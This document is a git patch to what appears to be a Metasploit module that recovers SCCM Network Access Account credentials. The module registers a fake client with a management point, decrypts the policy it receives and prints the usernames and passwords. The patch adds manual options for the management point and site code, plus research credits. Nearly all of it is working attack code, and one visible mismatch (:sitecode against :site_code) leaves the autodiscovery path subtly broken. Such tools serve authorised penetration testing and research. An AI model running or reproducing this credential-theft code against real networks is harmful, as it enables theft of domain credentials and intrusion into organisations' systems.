From 4f5d1782d84d62beb3831cc6aff0efb0ec633509 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 10 Dec 2024 23:28:29 +1100 Subject: [PATCH] Get working without autodiscovery Added proper credits for the original research. --- modules/auxiliary/admin/sccm/get_naa_creds.rb | 149 ++++++++++-------- 1 file changed, 81 insertions(+), 68 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_creds.rb index 911cfdd73abb0..ed52933e10f20 100755 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_creds.rb @@ -24,9 +24,12 @@ def initialize(info = {}) This requires a computer account, which can be added using the samr_account module. }, 'Author' => [ + 'xpn', # Initial research + 'skelsec', # Initial obfuscation port 'smashery' # module author ], 'References' => [ + ['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'], ['URL', 'https://github.com/Mayyhem/SharpSCCM'], ['URL', 'https://github.com/garrettfoster13/sccmhunter'] ], @@ -40,9 +43,12 @@ def initialize(info = {}) ) register_options([ + OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]), + OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]), OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]), OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]), - OptString.new('MANAGEMENT_POINT', [ false, 'The management point to use' ]), + OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]), + OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]), ]) end @@ -59,27 +65,6 @@ def fail_with_ldap_error(message) end def find_management_point - raw_objects = @ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) - return nil unless raw_objects.any? - - raw_obj = raw_objects.first - - raw_objects.each do |ro| - print_status("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") - end - - if raw_objects.length > 1 - print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})") - end - - obj = {} - obj[:rhost] = raw_obj[:dnshostname].first - obj[:sitecode] = raw_obj[:mssmssitecode].first - - obj - end - - def run ldap_connect do |ldap| validate_bind_success!(ldap) @@ -95,52 +80,81 @@ def run end end @ldap = ldap + raw_objects = @ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) + return nil unless raw_objects.any? - mp = datastore['MANAGEMENT_POINT'] - if mp.blank? - begin - mp = find_management_point - fail_with(Failure::NotFound, 'Failed to find management point') unless mp - rescue ::IOError => e - fail_with(Failure::UnexpectedReply, e.message) - end + raw_obj = raw_objects.first + + raw_objects.each do |ro| + print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") end - key, cert = generate_key_and_cert('ConfigMgr Client') - - http_opts = { - 'rhost' => mp[:rhost], - 'rport' => 80, - 'username' => datastore['COMPUTER_USER'], - 'password' => datastore['COMPUTER_PASS'], - 'headers' => { - 'User-Agent' => 'ConfigMgr Messaging HTTP Sender', - 'Accept-Encoding' => 'gzip, deflate', - 'Accept' => '*/*', - 'Connection' => 'Keep-Alive' - } - } + if raw_objects.length > 1 + print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})") + end - sms_id = register_request(http_opts, mp, key, cert) - duration = 5 - print_status("Waiting #{duration} seconds for SCCM DB to update...") - sleep(duration) - naa_policy_url = get_policies(http_opts, mp, key, cert, sms_id) - decrypted_policy = request_policy(http_opts, naa_policy_url, sms_id, key) - results = get_creds_from_policy_doc(decrypted_policy) + obj = {} + obj[:rhost] = raw_obj[:dnshostname].first + obj[:sitecode] = raw_obj[:mssmssitecode].first + + obj + rescue Errno::ECONNRESET + fail_with(Failure::Disconnected, 'The connection was reset.') + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Failure::NoAccess, e.message) + rescue Net::LDAP::Error => e + fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + end + end - results.each do |username, password| - print_good("Found valid NAA creds: #{username}:#{password}") + def run + management_point = datastore['MANAGEMENT_POINT'] + site_code = datastore['SITE_CODE'] + if management_point.blank? != site_code.blank? + fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)') + end + + if management_point.blank? + begin + result = find_management_point + fail_with(Failure::NotFound, 'Failed to find management point') unless result + management_point = result[:rhost] + site_code = result[:site_code] + rescue ::IOError => e + fail_with(Failure::UnexpectedReply, e.message) end end - rescue Errno::ECONNRESET - fail_with(Failure::Disconnected, 'The connection was reset.') - rescue Rex::ConnectionError => e - fail_with(Failure::Unreachable, e.message) - rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e - fail_with(Failure::NoAccess, e.message) - rescue Net::LDAP::Error => e - fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + + + key, cert = generate_key_and_cert('ConfigMgr Client') + + http_opts = { + 'rhost' => management_point, + 'rport' => 80, + 'username' => datastore['COMPUTER_USER'], + 'password' => datastore['COMPUTER_PASS'], + 'headers' => { + 'User-Agent' => 'ConfigMgr Messaging HTTP Sender', + 'Accept-Encoding' => 'gzip, deflate', + 'Accept' => '*/*' + } + } + + sms_id = register_request(http_opts, management_point, key, cert) + duration = 5 + print_status("Waiting #{duration} seconds for SCCM DB to update...") + + sleep(duration) + + naa_policy_url = get_policies(http_opts, management_point, site_code, key, cert, sms_id) + decrypted_policy = request_policy(http_opts, naa_policy_url, sms_id, key) + results = get_creds_from_policy_doc(decrypted_policy) + + results.each do |username, password| + print_good("Found valid NAA creds: #{username}:#{password}") + end end def request_policy(http_opts, policy_url, sms_id, key) @@ -182,7 +196,7 @@ def request_policy(http_opts, policy_url, sms_id, key) if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) else - fail_with(Failure::UnexpectedReply, "Unexpected key encryption routine: #{key_encryption_alg}") + fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}") end cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm] @@ -202,20 +216,19 @@ def request_policy(http_opts, policy_url, sms_id, key) decrypted = cipher.update(body) + cipher.final else - fail_with(Failure::UnexpectedReply, "Unsupported decryption routine: #{cea[:algorithm].value}") + fail_with(Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}") end decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") end - def get_policies(http_opts, mp, key, cert, sms_id) + def get_policies(http_opts, management_point, site_code, key, cert, sms_id) computer_user = datastore['COMPUTER_USER'].delete_suffix('$') fqdn = "#{computer_user}.#{datastore['DOMAIN']}" hex_pub_key = make_ms_pubkey(cert.public_key) guid = SecureRandom.uuid.upcase sent_time = Time.now.utc.iso8601 - site_code = mp[:sitecode] - sccm_host = mp[:rhost].downcase + sccm_host = management_point.downcase request_assignments = "GUID:#{sms_id}#{fqdn}#{computer_user}SMS:#{site_code}\x00" request_assignments.encode!('utf-16le') body_length = request_assignments.bytes.length @@ -272,7 +285,7 @@ def make_ms_pubkey(pub_key) result.unpack('H*')[0] end - def register_request(http_opts, mp, key, cert) + def register_request(http_opts, management_point, key, cert) pub_key = cert.to_der.unpack('H*')[0].upcase computer_user = datastore['COMPUTER_USER'].delete_suffix('$') @@ -289,7 +302,7 @@ def register_request(http_opts, mp, key, cert) body_length = rr_utf16.length rr_utf16 << "\r\n" - header = "{00000000-0000-0000-0000-000000000000}{5DD100CD-DF1D-45F5-BA17-A327F43465F8}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}#{computer_user}mp:MP_ClientRegistrationMP_ClientRegistration#{mp[:rhost].downcase}60000" + header = "{00000000-0000-0000-0000-000000000000}{5DD100CD-DF1D-45F5-BA17-A327F43465F8}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}#{computer_user}mp:MP_ClientRegistrationMP_ClientRegistration#{management_point.downcase}60000" message = Rex::MIME::Message.new message.bound = 'aAbBcCdDv1234567890VxXyYzZ'